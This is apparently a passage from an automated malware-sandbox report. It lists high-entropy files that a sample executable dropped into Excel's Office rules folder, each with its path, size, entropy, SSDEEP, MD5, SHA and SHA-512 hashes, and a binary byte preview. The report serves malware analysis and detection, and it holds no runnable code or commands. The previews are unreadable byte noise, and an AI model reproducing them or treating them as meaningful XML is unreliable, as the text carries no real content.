Preview:	<?xml...F.O.{... .:..x.u..G..QQ..(..+.....:.f.0.......j.......@.J....n..5$y......#.P2..l..U.RY.].e.C.......T.sz.7.C.,nu./..........TX......5.4&69.0....9.(X+[..O2]....CH9.Y}....Q....1.0.......&$.=.XEx...{.....W..3n..E5..."..Q.AJv......6......K.....=.m<...6g3..w....s.#^.>M..?...._B.....a\|..6.Z...X`Z.+...\|{V..d..ak).lT:.S..n..(.3O.%.t. .!....._..Da... ...>..o..6@}..C...H.gs.F.3]ZQ.}...pB.\.^ZI...`...g....f.}.8........w.v... .../. .IUO....i.T..K^.......p..../n.sN.f.....`.r.......dm....BdIS.u..&.w{Lg.QF....._.NY...m.........9...{.9M..[....&....2.y.9...j.....l.f....J....\|kk ....R7...ml..fDXq...\|..0Y+N~.t.%.......zRi......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.777873978142642
Encrypted:	false
SSDEEP:	24:35G8WRLX2reb2kbbYLSLdrGZj76i01aD24V2bD:pGLqabbbYL4AZjWNkxuD
MD5:	65EDF83711EC6207DA953017B592A38F
SHA1:	821B8F8DCD4697E4E629796EF1F0EEFB5C7104EA
SHA-256:	4BE5AA7DD4E3F943C5AC694AA0ACCF2820066066107DE021E2BE15FB87B864E9
SHA-512:	53630918C72C0067BF9EF97C0D7B0ADAE530B8F188178603D24951A87BABA96351AB2EB6A3CC9DD032138E55AA61BB9B7039C017C8F59C3AE3636DF98DCD0DE0
Malicious:	false
Preview:	<?xml.e..y.nN..i~.x.2.C.C[B`.;.L....[%..R...1.&X.\].?9........0j....^.e...).....%...~o....(.g.M$..l..........%....J..]i{..`....lXXF1E...+].a..$.\~...M.3.?.t-]-.tW.fhG+....!....B..I.p0..z...H...?...c.Pp.......L@..tb-}.....8.7..6_........^.99.. P..-A..=..W...(...C...C.g.{........s./RK`.U......qO..f..z.p.A.p!.4.P.&8..A...U...........Eov]]./...K....H?..6.n5Y{{G.U.).....U...i.T.>y)...lz`....8ug.....k..=.+..::b....\|..eU.J..O.w.m..S.eF....DAq.B......VP...r.(..Y..ra..V.%....x3v.t..~.\T.2....g...9......"r$...`Vu.8.E...%...e......ct..KY...H..=...\...:.W+.....1...e.e...NP!..!..9...;...V...... ].... #.U.....Z.?.^A.K.9...Z.s...k3e..e.`.k."..HY.r.m..z...Nm%&`..G.OmKO..`N.0... ..0F..P..k.{..pr.gy..f].>........\|..............\|y......('..}.f.A......~.S..&.#x.XO-1...\..K....-.rT...-..3....JW.\G.%T.B..!.2 .......1&$7K..2..8....[....O...;.W"2.J....r.).:\|.W.X4.Fy0..'...oV0s:...I9yu.../~.u/!...+(...x..Wl.Yq.._.[..5+.O.@......mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.730982320244527
Encrypted:	false
SSDEEP:	24:Miho7TU1DHWdJaJd6sm57blzsJlwVCyOxas24VsfM2bD:p1Degd6s2bJsJOoyOxaeVsnD
MD5:	6DBB84C2A8A7ABE6B2B7761493FC2BCD
SHA1:	5F7368B031615C06A9353DC0BB3C2FFEEEE0164B
SHA-256:	54ED5A671E1BF99443A897F9A00A76F7AF5A7516A5E7DCFA920CC556EB724EDB
SHA-512:	32C4E40C3089DE8886AADD90C469BCDF8D2A911AE87E7AE85D41307D8E160D4EC47953ECA2A757B2227B6027A53A188E6997F43F52709995408B4E677917BDBE
Malicious:	false
Preview:	<?xml....k..v.F{t...\..I:'...&w.-.B.......A.h....U.`..R..w..$....m.-?..p...J..I&..J.^...#.zDy..h...X..^z..\|3.vUcD..@t.z2....Ay.......N.......t........T....l...&B.'w.;..d.....\&...D..1..^..+.......e.....J8...............A...Z.e}.7..N.b..=PIG..n .[;2.Q.G}5.q..8!....bGh....8W\|.r.NbPS..\|@.7jD.s..#BE.....f{..73..zV.X..@...T.GT.\............Ev..d.}......a..9Q.e....)5.....?...}.q.rQ.......G..B..@.....\|z.s........X..o[......^......&.....$....B.J......;...Q......y'..?..y..w.#..s^..`Yd<I.O)."...x..v`.0..9....m}..."kNb.r.....R.p...8.=]..,.........o.b...G.8.'2.......WR..6$a..DP...Fb.-.......Eq.}.t.l.z..S......=........H..\|...5.$).{..L57.W.....`.+#.w)...-..6.G.=;.._.......r.RI..el..5&......6..c...#..Ia...\|^.....?.I!.<."~..54....8i..r.i.s.UmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.848281246808326
Encrypted:	false
SSDEEP:	24:sZYP/8NMJOXG69LAdwpLjggbl57B/R3vxOYG9AhbZGeQyPXBr2bD:sZrNIOXG69sdELbb7tRwQhIeiD
MD5:	A9CA06BB29E1B10D00786DEBA5C05EBD
SHA1:	C4BE47EE464D8B3CE69FC135F322F7E516A2679E
SHA-256:	FFD90952F8DD864475486FC867C8ABF58A2F78E262A90A811B06760D4792A500
SHA-512:	D27A82013607999D2EED94D3306C45646CE8B1C0D8F3AFB4EC35E9FBEA5BDF4200B8E9A5C4DC9DF501DE5F5916BE79DFCD2B1677D92AB9459E027FF26DE38724
Malicious:	false
Preview:	<?xml..."....(.q~.[..fy]..........._.]...2.4L.....G.\|.G...)....?i~&...<.5..O....9.[.I...[V_C....c...r3.=.tD\s>.N\...<>]{./..jT..y...=.HI........hs..........B!.k...Y...~......$..Z./adQ.Vv..A.-..(..gh..q.bj...nfY...>Au..Vn...Y.B...Z}7...d.dXz@....(#.R..^C^.M.0q4.1(.C.<.!.a...)L.U.W.1[....s.X..z~xhj_a.L..l.y[....85.Y%........'.dQ..X}".i..6v...#D..,..o..88.%.....,.rp.S~....z.)....+.e.e'......D.)..).fmV6U..I.../B..%..d.h..E{P.."n.34.Z.h.u>]%.CK.fW..l..#k...%......~.p...t`...u..Q...h.......x'....}...v.u..g7..y.[.......B...fx.4..;....V.......@..s...s.6....9..?.K.]<.e>.....$92T[....,..@L..Cd...:[..M6FD$........jl...>..1.i...:+...P....H.......G.F..l..5p.?....p.\..g.E.1.o+.....\|...1......b..:.0!..70W.g......[......-Z..`._....E.6(.=.QM......z8Jt_.. ...B.M.e.ld..b7.&%0c...v.j'l.......{-2..d.E7.....#.b( ../.-.e+.o...).........B(...bZ.b.*.D.^..i].....`..J...}.@...<....@'uO....l@...i..fG.^....(....z@{nM..#.......B3...^.....L)3......P..J.d.. .V....z,...y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.897149032333043
Encrypted:	false
SSDEEP:	48:iN7OFLaAkMqXYhXNdXHjAWoPEOj9GGrtW82H1oj7M79bD:9FL6XCd38WocODU8Y1WEX
MD5:	B4763D0C0C76E873F05EF0BD25C13596
SHA1:	D173D5F9C1272365F3AC8C7E259CADF73B079703
SHA-256:	E7F6F54A1EB80E2B4B466AA5459FCEAF98EF19ADE512A8E252D11B83BA12A3F0
SHA-512:	B42D22AB6875D8E5DF99BFC3F8F590EE3836B3D06950534B446E52FE0DD0B3561CA2BB636A0EE6B2D699DAD30426EC4DFA0FB422D3B0AAF7650758AA0E3BB41C
Malicious:	false
Preview:	<?xml`.Q..y...h..../......Cm3.).......P{&..R[.}.F.5...k...!.eU}.Zvw..0.........;...9.tX.Uss.k.M.b=.j...fe.r.2.g.3..s.{<N.f!....4z...C..._..UgJ$k...2.E..U.L.n...o......M..h.`.o.hxc.8....h....U...{.;#.'.r.v.T.w.Z0.p..&...na.c.........b.N:.G.*[.V...r..&#.....&.../.Sf.......J.=....s..F.....6...],..@.UP....N@..,-......[c?+`.c.$Zu..(C.hC..K...,...e.}?"}.".;..^X.].....Y....s...I..Fd..u............6.2.R.A.u(6..=.b.#.....RV(...].l.0...m;.?;....7..dw?S.D.T..a.C..L....@.]..........z)./..9.y..<Z...1E...P~.o.....tv..dH...ddqH.(m..W.............e.F{..S....W.e...Kn.g..l.#...$....J5.i.Z.....^..p..4..gK.>E.9.J<...._......4..l._j..j...)....&.W..]...&'O....y..SX.W.0..An.M.....6..LxA.X....<...x....>...c.T...(..o;...!!cq.).j=C..R.........%.0G,X..........pB....F..&9......0..-.31.)f....4.V.FYA..&0.N...0rc.Q.r.].%n_h..YZ.....+..^F..fV.\|..~.4....lk..{.K..>.+..."..:9C.a1..I......l/$.R...).[.7......m...S.V..;~........^H...q.L.....Sh.M-..N5P}....7A......w.'\.1h.\"_O..N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.918732224432225
Encrypted:	false
SSDEEP:	48:WZNyi0f4HSp19qLY4sfeqKOfeG+nlm6OLTJllD:kNyAHSpHoLsfzKOfH+CPLd
MD5:	DAE390B80A36A4BF6A0D69A0949119FC
SHA1:	BCCC92C65C7C23BA220997458777AC74E3A07E02
SHA-256:	251D9AD5A04BD08AE35B9C875F4A2D37E6B78E5FE9565E129947C0A156A0AF66
SHA-512:	7C4EC3E3A17FEDB50D67616369308F8C6291195688387B55428149D7A00989CDDFDA91404FCBE4D65ABC4A3FE12D121BAFB00A1E5E962B5399F6FD7DEE13FEDD
Malicious:	false
Preview:	<?xml..u..qac..=x...q..18...2....\B...(...a./..EV.<.{.R...1Eo.O...M.......MFA.B.......h...(.....;....A..[..4.....@#.........-r....K.3.....m}.O90c[....x.7.5.U...5i$....[..A,H.l.r.,...h..........68...2..n.^.G.........}........x....._....?...2.......C.z..........>yYv..\.>...0b..\\|.....M.s.6.A(.+...b'.t.&$7.`..O....GVs..A.Edb`@x..R'mw~.1rT....h.G..-....(.,......K.kc.P...Q..(.[(.](Z.........l!......d.8..........3..."....S...(%@.Q..H;...c......+....D...R..K...s...[...i.w&... EFv\m.n...'.:I..oc.....2..X.. ..S...V{.....@. g...r.{v.r.f`..r4"l.k..G$...Vh..:r..t'...(.V.4..Pj.=......o..V.).W...@...A.'.'..z..[..^...E...7....s..."..#Z.......>_...u...Dlq#)..pgT...'q..-..4...3...y.f.j..g.7.SZ..e..v.j..S;w...-.N..{^C..\|`f.....B....{B!M.h.-..[M..6..l.We..sv..[X).?..d...BJ..!.n...!3.w.iY1jB.a9...)4F.....Y....j...d..~GY..kj...\...ty...` t!..$F..=....w.ye..FM.^.b..........;2V.I.TA...]........e...../JG..H+..r.O.$;.. .N...~.g\|..].

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.725767390516504
Encrypted:	false
SSDEEP:	24:buA3O1c4fzVDxxgXI1hLfVKejDHVZV2bD:rO1c4fzbO41hLfzuD
MD5:	972988840FF4EB5D6ED022F3577D26ED
SHA1:	AA09033FE9D84DBC90564FE0229788A2AB40EF61
SHA-256:	FA63584CBE09E6405F34D5F8A15FDDAEAB46F11CADDA85ACCE64FE7B8409E34E
SHA-512:	05937764C640D1B3B30E738932C3821C922D1565D75C000F6B30B120E6A998D69537CCBF49ACD16FC1AADED88EA07711C3055137F7DB45099FA4B85E1A768DE2
Malicious:	false
Preview:	<?xmlLU..X.&}.).......9.7..{.%.p..}.5....E_K."...;.b..X3......=....yU.....;X....;."......a..T5.$.c.....&.w..Lv\|..j.4Dx....`....Y.:..W....j....D...2..DC......\...^.\|......yh.p....%?...7St.......`.p.W.`A.':.b,..........g05.u-h..B...k.Zk%.C..?..'..{...}i...)+.@....8_$.).....%.\.....j._w....E...;.8..:?j...4....n...T.+.\P.%3....z.~?..:..DkD.W...........HX.(..(.0...9...kx.U..-Z-.....I.>L..Rx:5Bl..R.~m...B.I{..Z....#...;.a.U.F.^0.3m.>..!.X..Am.<$.aF.H.i.yj8...lh6...#..EbvbY...........q/......./..y.1.o.C.w...$......X...Y24)..M.{.DZ.......&..b....u..5....029..3..bL.A........<.....[t.;"..\C.......:.-..s.R..rt......x.l....'..y8v..`...F.4..r....l..`....F..[u..#`J.F#..R....S..2.....E\7$..(d.p..7..+.2.;..K.=...l...%.w..T... ..q..j......u9:eZd.......T7.Z...5.x..>mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.716364504699597
Encrypted:	false
SSDEEP:	12:EQ5dfQz/FGHgO6fzm2d8+HsZiM2RYKM10ePjyT9W78aAEn30G5ZkdcfZ8KMrz0DR:nDGAAtrA9HJ10eo9Q30G5qc/Mrz9/cPV
MD5:	9023DBF9A0997A9D482A5F82B5E8AB4B
SHA1:	6F49280F484E4F92E81F86719FD0A15500F1661F
SHA-256:	9D1817F111725716D1D6FDC42B36D1E652A6F3443C06A6C61BBF0C4A898B1842
SHA-512:	CA19E43E3358E4CF15CA145F043E54686D419B35E082303E7F66BCAC334E6909840869F802EB942FB1BBFDA97698C507E922FCF8BF0E08965795AFCE7E185A39
Malicious:	false
Preview:	<?xml9....m.cVJ..i:...z1y..?4....B..ZL..S7.....&.Zq+..EN...o.};..pE;0.....\|.o....J7Ty.{.u).../.X E..7r....[.p>!.Q......n.^...zT....09.QI........G~...)....t6..j....Y#..\....(/K.q9.....M..%......C.{....._-u..DKs...q...#&8?....Xdu.......M!..q....df...u..EU.c..h...g..h.9L....n....(M..c..L."...zF.A....x.f.g...Z1..^.q....+..<j....[i2..2..?.6S...VE.9.<.{.:...k:L.%... .2E....{d...9...J...}.j.....2..JAdc..]...5..&.R.y..K..r.1{...p7.XeD.L.0...H....9.S...scTw/.\|..8G..`".n......sy.g...!X..r.N?...b.,..H...............l......Bu...`$.h,_. .M..].......mo`...K.........73.B......#[. ..^.H......-.C.,..en...0.\l.uH.C...DF..N.]>.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.88295938239223
Encrypted:	false
SSDEEP:	48:P3jDO6UWNbVoYI9Cr2Z2BX8HK2UDv81aEOeAiBr85hvgBTqTD:vjSmbW9Cr2Z2B0K26nEr50FSe/
MD5:	2F80EEBB55AFA0E7FE39B2911DA3597E
SHA1:	C30AD827B3DB974A6E5500C1BDCA30E1531B8A2D
SHA-256:	9A9C878AA1CF85B50E0451C2A5D566560EE33A6F0638ECBDCCC2F16A4F8E59E2
SHA-512:	3BF20FF8358009C7778F053837BA771A346B463FF30D29542370232653EE06BB4CF2B3CFD95C8DE703818F68FCD7FEE2E216A173BCBDA6856CA4E9BE4391337A
Malicious:	false
Preview:	<?xml..JP....66...H=...@.-..c..uo1..Y^.K.....0....)..KG0..]...9q.Z..+jA..\|I#.....dTS"c.E<.i.+.=....;..]~n.H.....T..c....?..7.....v..oQ..D.A...../.F..., .L..d.).nR3..........T.t.j.6Jb....].....s2...,...=6...]y....W..KZ.p3@.,.j.....sG..L.i].N...Z...U....2.Uu..Rq...4..........DP}........H.....j.....D....-_..ZD.?......zT..oP..........]....z..F.t .9.:v...f8........R.K..^u.8...u.....P...F-.h....j.....>..C..9.....Pkg......)..c.'....2....t.dGH..M.eB...E.?..O.....].e_.?k....n.~9dT...T..B.cM.OO..=t.O...00..i=-..$........9..}M.[.I..8....j^Lv.2>h.^w$@h.@.[.)N.....j..{{+..8.`6'.........S4..............x....P..1...N..$..d.X...q..1.#y...A...j..5.-.LJNs1...V..V....r...bc.....iT%..K).]1W......;........w<.3.tv.(K7N..M/.A...>9O....6..tl.}g.(.jY...dd.....4.`...)^.v/..4w.'.......I..i..Z.u..gh137:./"...E.....@........4....S.JQ...1.{...\...))..I..-.[...u..u..r6Zy..N....I&zV.{.i...\|.K....e.[v......u...._g_..Odea4......#..........4...GR....I....jL...H......4'!..W`...'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.8614187307228685
Encrypted:	false
SSDEEP:	24:4r7HcyWCHN6bQHTAGGpV20gz0JNSRP1Vf7X91XOMaQwf9BMR7LKsP0vtX22bD:qJNkQUGPz0JgRPTpROFfYdj0x9D
MD5:	609FF852ACF59215B880F24DF4328F8F
SHA1:	E00E2F4B48900ACD91BBF859DA46A9CA47EB67AF
SHA-256:	B5532F527461310B05EF817ADCDC6AF3F4BC944593640127822A70DA73C72399
SHA-512:	571F2A434F6DE3049D36B5E4E590C05D6C6CE4126C3A2D1ABF3499DCF9B0D928C413524E4FE94E6DECAB426155C471011C1BC95FC184CC414D8AA10A388A6094
Malicious:	false
Preview:	<?xml.I...y......`P...e.-jU.....L..p~W.<....'I.).\|........[V0...9@p.....Y..;.I.r;C.2f....[......o.6W...t.C,._...{.."..vF.}a.6..].6..r.S(."....bR.#.;r..-...b...j.\1s.f9...<.]C...&...$.....0...j.<.;..i.n}......fr.C......^....k]..%.d.D.....$..5gB.K..z../l..{..`+$..y#.S......8nw3.1Z@....Gn....~.._...2.2.U....t...].~-.HQ.pz9..CV.....-.Dm.D.h)mr3...i). a.{....?.6u..v=.....Wsl...A\|.;......p...q..7.rp.......bJ.X...c.>.}....3a.p.^y.J,.Q.b.C.D.P...#.....].d....T.."NS.lN..j.Qc...~.z'..2<.0.2.....X.p..-.....z}.sr.\H&s..n..t<p;.....}...#W......;.{jA!}.BD.<..[r..y...L2y...a..F2..;rr].[i.';n.....Z.......y..7.@>.S...B....2LH...D........p.,.G.(..m....;'R....\.M....D....wz.a.YP...fl.Og.D....-8....VX.*....oV.^).Ct.!....&..N......MH...An..t.s..8E.-=.I.74.".B6...%..:d...C\Np...6.e"G..).6.Wf......9..l;.9....Z....K6..e.n..E..u`x.i....j.W.P3.....!.ZN..4XP...fa..~...J!......z.2..Jifr&{r......J.&.Z.?y@..m.OkZw+PS...?~.g..g..[..+...,..J.3..Q.@..et".....6.f...5M .....r..S.?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.701199851774671
Encrypted:	false
SSDEEP:	12:AogMWPf2d9TdnkWxmXeFQ3WyvxRcc13RsKnmtluQP8/ZrijCOSxsVGEWwerbSUdV:AhMWPfgTeQKYuvjTqrPO2jWGw22bD
MD5:	FCC6C8F194EBBC3C4588684DB4C2A74D
SHA1:	E01882EB7682A7F2A852B025BE8D6A95121FF47F
SHA-256:	A55C2F81936AAA98A99C2BFA5F56063C23675AC8229E7929E851D14B9971B425
SHA-512:	7BB6BD7209F3CAAD41EC1A2F9D69A1A5751A99156A396DD63CE2F74DC9B8C3F4276A533D70B8B69F6AD7C9F4AE4989F0DA315401BB8DD29DA1F5B6FE9FAAAEDF
Malicious:	false
Preview:	<?xml}J..R...5.^..m..t..f.%......)3l.I3.$Cr.`.....tn$.....T.4.<...4\|.H&.d<>..Z..k.Gi...%J...<...p..?).d$.'9.Q1.....o1s...a...L.2@w.Il.....0. (....>"b..vx+;A6>.I...fnt..o}{E.4.H.0.J^M......N.Q..K.i.{nn!d..M.....d..!.6..a.n......F.+_..p.....1....`..,H%(..(..DT..c.'.....?;S.9.R..7.v.z..j...Qq4..@r.2.&{..(Z..da.xY:=...UC....[.1.k3./.I.Q..U8_.a4y.d%.....6.................$p....:...)..........>..}Y;.'.v...K}p......s....@z.7.(HQ...CU.....`.........P......(...s..>.]D.d.<@.../.f_...j. p...N...E_...G...d9.!U.Z.$y........e.H..g...V.(..].%..].#..t.P.3.8....1.%..WR.>L.......0./=....0...' .."B.a+.:_z...j.p.?...\|...>!.....\I.4.&U.3.B.... n7...\.L._..[mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.88075308793709
Encrypted:	false
SSDEEP:	48:6sJ3zRbfAeoYCueCanO3OTKDu7kRc5GnD:53zRDAeoMuuqoi5G
MD5:	DC1D6E8F33E297E1AA38A1A545A83D95
SHA1:	6AAF672E241673D17FA03E09FAAF343BAE9D35FD
SHA-256:	CC97598CBA9085B8458528C83A0890E2BF188E1F2CEF6591E779F4DD2EDC472F
SHA-512:	A2068D241867C203DFAA376FEA0C9C5419610C17C5DDAEF16E27AA354E2A566A6C19E2C9F61621976F20BBC82754FB534796ABC79813B2D623C62C490B2CCB77
Malicious:	false
Preview:	<?xmlO.3op..b.<.pG......z.d&..T....O...&.x3zp7\|uZ...2.e....Db.S..........)z.b..7..h...i.\.@}.......Z..N0..RJ..Y...j5...=X....T...Q]..@.ldP......b..8.O........W......T.@..:.#.r..5....u....V...a.u.r.W.u..O8.vl..$..)W.0PA2...@.....Zb..&..L)...z...2..........pzH...o..9.B.9.( .s.?..(#f.?...'..kW...<.\|5.......I.....o.z..0.....aB.3..u..,.b0Z...7b...I........Xm..L......`........I.....e..E"o..r......R.vH`.c.Q.>Yd...o;@.u..A......rrm,.....s...\|.....z..'........WK_>.)...E..M.Ik......Q..2...'..?.f....G...Y..,..:gVF...h4.1..\|..:......G.XG...X....sPM....~....u.U.......\|.V.T.=.0..Ou>.3.t`".v.K.5.6%..8.7?.F.Q.>&4Y......zc....D.Or......^.#..y.%.....c.6.l...2jM^.\|.......pa .Z.g.Y...(..$."......h.{.(.^[...l..b.j.aJ..b....z...............#.O.......<.P]..a2..k..Ff..h%...D....G.....7..i.....Z .3.....@..5.]X..s.8..X.9..&..#.._....e.c.J.IE-E........xT....*6..6Iz...$N[..m...1S.....)v.{f.+...8\|.......H..5.d.,..p.. .D....q=.bj...m..i.)w....-.8`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.872846719113849
Encrypted:	false
SSDEEP:	24:25Ww0xmN9KAP8h4fkIu5VIRlytdUCDa46WordYtwYEgfIjGu8ZvJpCr0gTz4TBHa:20D/hPVI2dUCborywEtZvCrqKG3zctD
MD5:	9D90690E2FA2C5C97B4FAF5EED13D040
SHA1:	1D79789747D9457FD2745DC08D9288382D55D975
SHA-256:	1FBFE46AD09214B08E92656E527C877CCA3A757E87FDC716CED9859CA2A6621B
SHA-512:	D2DB7B18E2B83AD0EDFB43C05C0E1C3759FBD2CAEE1800EA20147AA6CF5E0B65832F59C3AA0F7A6BF0EDEDE362FEC2E46DDBAF610A20BE33D0D562FE232E5EDB
Malicious:	false
Preview:	<?xml.C...BI.UD.^+...5.4N..tc....tT..X.....$~.[.Co.. .`\|J...G.n..v.r...G.c..xp.Jb05.k......Zvx%dU@...Q....(.c,. ..6k..c^.hv>Q.a..M.5.RF...N.u....@6..84.O.......b>R.k.[.&..U...p..>2?M..,.;.K...........A.k..pm...S.ev..g...y....x.\|.@a.........\|?..N.}.&...%...}...[......y.u.7..-..........`R..nQ2....Q$.......H.......l<.y^}W........_<5..=....@.[." l.B.L............iU.J..KY.Rv.MjN.$...fWy....B.[yX......7.Yz.OH...:.z=S........]vk\|.......%..+.....;..........<.=....'..#.d..z/82....a....7.......;.5....'...O.S.&....V^.[wO.....\|...aQ...JQ..-....5S....;......q.Yo.7h.p.-}..._b.MY'Rp...A.uO.G..2.F.."M...."#...bGd..,s."%...j.K..[a...].e$W.....,.i....c8.C.....T.'.H....J...1.L.A...}L......P.S.....j._.H....... M..g...P.P.a....16h.v.+.x.b!..pJL..2.@..oQ.u`.z,E.3..O...v>oJ.g..].h..?...UN.J......%......._.W.[1Q..w`.U.2.^....q..r......$.z..u..V#.n.Q.u..V.....;.:.?W.O.#..[/.....#!.w.V..]6.J3..=>j.k........c.D.,pp.>.E!...5..BU..%.;.8.V..p...3.....r5..G]...B..j..//._..4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.876641954505238
Encrypted:	false
SSDEEP:	48:7OF7iiw8YKcC2rOvtZQNhJS5S64ZvrfX9gVysQD:7OFeUhmOvn4S5uZ7tg8R
MD5:	B4CA1A10CD2ADF61FC9D284F5F47EDAB
SHA1:	30885D72B2E8C2374735066803D04DF6F9D25A3B
SHA-256:	14B107A34AEF6C7A7A362347C2B9AA69A6424D3C573FA301E09B56C15D6B3A39
SHA-512:	BA631AB4DB7DAF84B4F5891F1BAE2AC1B86DF123B8BCB42FDEC531893E8DA5E175B48D60AF7433C3B419CAB4D207D2C1262E0943731E610B7DE89F11FE9A026F
Malicious:	false
Preview:	<?xmlNB...J.5.m.....v'..@......Go..W.@...S........Y....[....K..q[s.....P.4..D...V..S..@..8H..\..6..jo_r...U.j..=...v..A..H~.0..G.c.. .1.z.V...}.<....d...A q.}.7b...^....O.......H..m.Y+.....m.O.....j.G..8'4&....@..u..%...U.d...p{.8@......6.d..".F_.w.jg.n[Vgi....I+R.5.Q..8.:.4...s+.oU.xyy.h...R.?...0...) ...BhN..$6/b...6...Bj..c...6..`..A.dV..0 ..(J..AiZ.....O..3...UL...U...z..=.D...q.F.....3q.L?../.1G....:.I..nO-.pKhv......,;..0...h.F..K...d.0........h.C.=.0...g....d.\..8b..B.\.y_.AZ<....7..+..%...#.m.y[@.;[P.t.U.7.v..d..(<...tZ..,..S....N.....'n.i..vM.Y..B.H!.c.....O.K@.I.Aa..z.+.!Q..!..,.e.C.B...R.1.\..:}J@........6...O.Nb.,.&......@...O..$..7y....%t[..#[m=..yy8B../.6...T...!.e..$ r-Z0eA....".....}C..B7+.!.Y..p.m..-..Ni. .T....C.}P^.........II..S/....h]...Yf).i.D.....&H...~..7.t..........wK..]~.-.".+....f..W..:....x.\...E.kd...).l/&6h.....T..9l);...J..`..sE..a.s.....Mv.*6..sr8.....)..R"..~...7q.....5....5..`\U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.876665806673309
Encrypted:	false
SSDEEP:	48:MkKXz4XD3we7MJ7LOnJmx5ucyg53ob+ltmaq9fugRTsgkkD:Mt4XD3weopinwHob2ttqJdTsi
MD5:	888982920D39A92E954C3E0A4ED52E99
SHA1:	651E1B1BD7247AE0B1FD028FD63A6CDB41069E01
SHA-256:	273B3940DD9DF4E0C6C5D82E4283CDEF169D57F7A2ACF5EB584E71894484A920
SHA-512:	262A12B98CD7143101471B39F4AB00F36A76D4AB025121F8E021D58948349F1201CF3FFBC41458CFDF2E1769DBD2321BCA08C75FFA227469B7AE0FCA8EDB0069
Malicious:	false
Preview:	<?xmlz.G..CP..@..#....AA..Z.yj.W.....`.....L...em.IT6..%&......'....^...e^.9..=..W/.%.cm...{...cl.4.j.i....Ng6.rEe5.......-.X...).#.axc.bEkj.q.rD.....K..1....N.......1..i........h...y.6c[T0.tb..I.r_E.F@.V.e.."..(.qr.q:..c..>..cg..~....?hf6.....=..../..30F...S.!.....x.t.m/F.t'0.....c.3.Z.XoG..n.?....m{....i..c....6....h.8u..?....p".<....3..@@.\.g....%..X$..~.).S4Hv...iC..M._.~3...Vo..u..a.S...7.....o.MC..],.<Z......@..#BF.Z.T[.A.N.N.K...o7..E.Oo.....Z....B.`..\|......}Y&cv."z,.e.2GD+..9J..9........E...S.=].{..l.V...R...A.. 4..4.I.Cj......7&.....i..-.....\|.....4..XR..0.A#..d!&.M..H....n..?G....myL+??.'..B(r..M{p..XC.;....]....V.+......%....;0..,.6..O...A4....6Z.@....+.T.`C.BJEP$,e>../..A.-....F..IYHEC.l..E..J.$.p.h.......V..`(.<y..^.+..:/....\..f......"...B.C.R.Q.>.f...B.q6.=........f9p...N......Z.......&..h.RU{.y6X~i._5.W...\|.7....A=,..f>SD...H....]-V.t.d..iCA.......h.\a....j...:...N.)L.~,.b..g9.p.......p+:.W{-.\|.-^./P......\

